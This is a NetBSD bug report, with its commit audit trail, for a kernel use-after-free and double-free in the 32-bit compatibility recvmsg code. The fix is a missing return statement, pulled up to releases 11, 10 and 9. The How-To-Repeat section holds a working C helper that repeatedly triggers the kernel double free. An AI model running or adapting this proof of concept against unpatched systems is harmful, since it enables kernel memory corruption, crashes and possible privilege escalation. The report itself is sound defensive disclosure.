NetBSD Problem Report #60373

From riastradh@netbsd.org Fri Jun 26 19:09:16 2026
Return-Path: <riastradh@netbsd.org>
Received: from mail.netbsd.org (mail.netbsd.org [199.233.217.200])
        (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
         key-exchange X25519 server-signature RSA-PSS (2048 bits)
         client-signature RSA-PSS (2048 bits))
        (Client CN "mail.netbsd.org", Issuer "R13" (not verified))
        by mollari.NetBSD.org (Postfix) with ESMTPS id 898431A923A
        for <gnats-bugs@gnats.NetBSD.org>; Fri, 26 Jun 2026 19:09:16 +0000 (UTC)
Message-Id: <20260626190915.8AFC21A923B@mollari.NetBSD.org>
Date: Fri, 26 Jun 2026 19:09:15 +0000 (UTC)
From: riastradh@netbsd.org
Reply-To: riastradh@netbsd.org
To: gnats-bugs@NetBSD.org
Subject: compat32: kernel use-after-free in recvmsg
X-Send-Pr-Version: 3.95
X-From4GNATS: "riastradh@netbsd.org via gnats" <gnats-admin@NetBSD.org>

>Number: 60373
>Category: kern
>Synopsis: compat32: kernel use-after-free in recvmsg
>Confidential: no
>Severity: serious
>Priority: medium
>Responsible: kern-bug-people
>State: closed
>Class: sw-bug
>Submitter-Id: net
>Arrival-Date: Fri Jun 26 19:10:00 +0000 2026
>Closed-Date: Tue Jun 30 13:35:57 +0000 2026
>Last-Modified: Thu Jul 23 22:12:32 +0000 2026
>Originator: Taylor R Campbell
>Release: current, 11, 10, 9 (and 8)
>Organization:
The NetBSD Freedation, Inc.
>Environment:
>Description:

        Missing `return 0;' in msg_recv_copyin causes accidental free
        of buffer meant for use by caller, and freed by caller.

        Reported by Khushali Dalal <kdalal@vulncheck.com>.

>How-To-Repeat:

```
/* 32-bit double-free helper. argv: <go_fd> <done_fd>
 * On each 'g' byte received, performs one netbsd32 recvmsg double-free of a
 * kmem-2048 slot, then acks with 'd'. */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#ifndef MSG_DONTWAIT
#define MSG_DONTWAIT 0x0080
#endif
#define NIOV 128
int main(int c,char**v){
        int go=atoi(v[1]),done=atoi(v[2]);
        int sv[2]; socketpair(AF_UNIX,SOCK_DGRAM,0,sv);
```

```
        static char b[64];
        struct iovec iov[NIOV];
        for(int i=0;i<NIOV;i++){iov[i].iov_base=b;iov[i].iov_len=sizeof b;}
        struct msghdr m; memset(&m,0,sizeof m); m.msg_iov=iov; m.msg_iovlen=NIOV;
        write(done,"r",1);                 /* ready */
        char ch;
        while(read(go,&ch,1)==1){
                recvmsg(sv[0],&m,MSG_DONTWAIT); /* double frees the 2048 iov buffer */
                write(done,"d",1);
        }
        return 0;
}
```

>Fix:

```
        add `return 0;' before `out:'
```

>Release-Note:

>Audit-Trail:

```
From: "Taylor R Campbell" <riastradh@netbsd.org>
To: gnats-bugs@gnats.NetBSD.org
Cc:
Subject: PR/60373 CVS commit: src/sys/compat/netbsd32
Date: Sat, 27 Jun 2026 20:33:17 +0000

 Module Name:   src
 Committed By:  riastradh
 Date:          Sat Jun 27 20:33:17 UTC 2026

 Modified Files:
        src/sys/compat/netbsd32: netbsd32_socket.c

 Log Message:
 compat32: Fix accidental use of error branch in recvmsg(2).

 Avoids use-after-free / double-free.

 PR kern/60373: compat32: kernel use-after-free in recvmsg


 To generate a diff of this commit:
 cvs rdiff -u -r1.56 -r1.57 src/sys/compat/netbsd32/netbsd32_socket.c

 Please note that diffs are not public domain; they are subject to the
 copyright notices on the relevant files.

State-Changed-From-To: open->pending-pullups
State-Changed-By: riastradh@NetBSD.org
State-Changed-When: Mon, 29 Jun 2026 19:56:25 +0000
State-Changed-Why:
fixed in HEAD
pullup-11 #351 https://releng.netbsd.org/cgi-bin/req-11.cgi?show=351
pullup-10 #1295 https://releng.netbsd.org/cgi-bin/req-10.cgi?show=1295
pullup-9 #2025 https://releng.netbsd.org/cgi-bin/req-9.cgi?show=2025


From: "Martin Husemann" <martin@netbsd.org>
To: gnats-bugs@gnats.NetBSD.org
Cc:
Subject: PR/60373 CVS commit: [netbsd-11] src/sys/compat/netbsd32
Date: Mon, 29 Jun 2026 20:03:13 +0000

 Module Name:   src
```

```
  Committed By:  martin
  Date:          Mon Jun 29 20:03:13 UTC 2026

  Modified Files:
         src/sys/compat/netbsd32 [netbsd-11]: netbsd32_socket.c

  Log Message:
  Pull up following revision(s) (requested by riastradh in ticket #351):

         sys/compat/netbsd32/netbsd32_socket.c: revision 1.57

  compat32: Fix accidental use of error branch in recvmsg(2).

  Avoids use-after-free / double-free.
  PR kern/60373: compat32: kernel use-after-free in recvmsg


  To generate a diff of this commit:
  cvs rdiff -u -r1.56 -r1.56.26.1 src/sys/compat/netbsd32/netbsd32_socket.c

  Please note that diffs are not public domain; they are subject to the
  copyright notices on the relevant files.

From: "Martin Husemann" <martin@netbsd.org>
To: gnats-bugs@gnats.NetBSD.org
Cc:
Subject: PR/60373 CVS commit: [netbsd-10] src/sys/compat/netbsd32
Date: Mon, 29 Jun 2026 20:04:20 +0000

 Module Name:   src
 Committed By:  martin
 Date:          Mon Jun 29 20:04:20 UTC 2026

 Modified Files:
         src/sys/compat/netbsd32 [netbsd-10]: netbsd32_socket.c

 Log Message:
 Pull up following revision(s) (requested by riastradh in ticket #1295):

         sys/compat/netbsd32/netbsd32_socket.c: revision 1.57

 compat32: Fix accidental use of error branch in recvmsg(2).

 Avoids use-after-free / double-free.
 PR kern/60373: compat32: kernel use-after-free in recvmsg


 To generate a diff of this commit:
 cvs rdiff -u -r1.56 -r1.56.18.1 src/sys/compat/netbsd32/netbsd32_socket.c

 Please note that diffs are not public domain; they are subject to the
 copyright notices on the relevant files.

From: "Martin Husemann" <martin@netbsd.org>
To: gnats-bugs@gnats.NetBSD.org
Cc:
Subject: PR/60373 CVS commit: [netbsd-9] src/sys/compat/netbsd32
Date: Mon, 29 Jun 2026 20:05:59 +0000

 Module Name:   src
 Committed By:  martin
 Date:          Mon Jun 29 20:05:59 UTC 2026

 Modified Files:
         src/sys/compat/netbsd32 [netbsd-9]: netbsd32_socket.c
```

```
Log Message:
Pull up following revision(s) (requested by riastradh in ticket #2025):

       sys/compat/netbsd32/netbsd32_socket.c: revision 1.57

compat32: Fix accidental use of error branch in recvmsg(2).

Avoids use-after-free / double-free.
PR kern/60373: compat32: kernel use-after-free in recvmsg


To generate a diff of this commit:
cvs rdiff -u -r1.49.4.1 -r1.49.4.2 src/sys/compat/netbsd32/netbsd32_socket.c

Please note that diffs are not public domain; they are subject to the
copyright notices on the relevant files.

State-Changed-From-To: pending-pullups->closed
State-Changed-By: riastradh@NetBSD.org
State-Changed-When: Tue, 30 Jun 2026 13:35:57 +0000
State-Changed-Why:
fixed in HEAD, pulled up to 11, 10, and 9


>Unformatted:
```



Home



PR Database Search

(Contact us) *$NetBSD: query-full-pr,v 1.51 2026/08/10 02:28:17 riastradh Exp $*
$NetBSD: gnats_config.sh,v 1.10 2026/05/13 22:00:09 riastradh Exp $
Copyright © 1994-2026 The NetBSD Foundation, Inc. ALL RIGHTS RESERVED.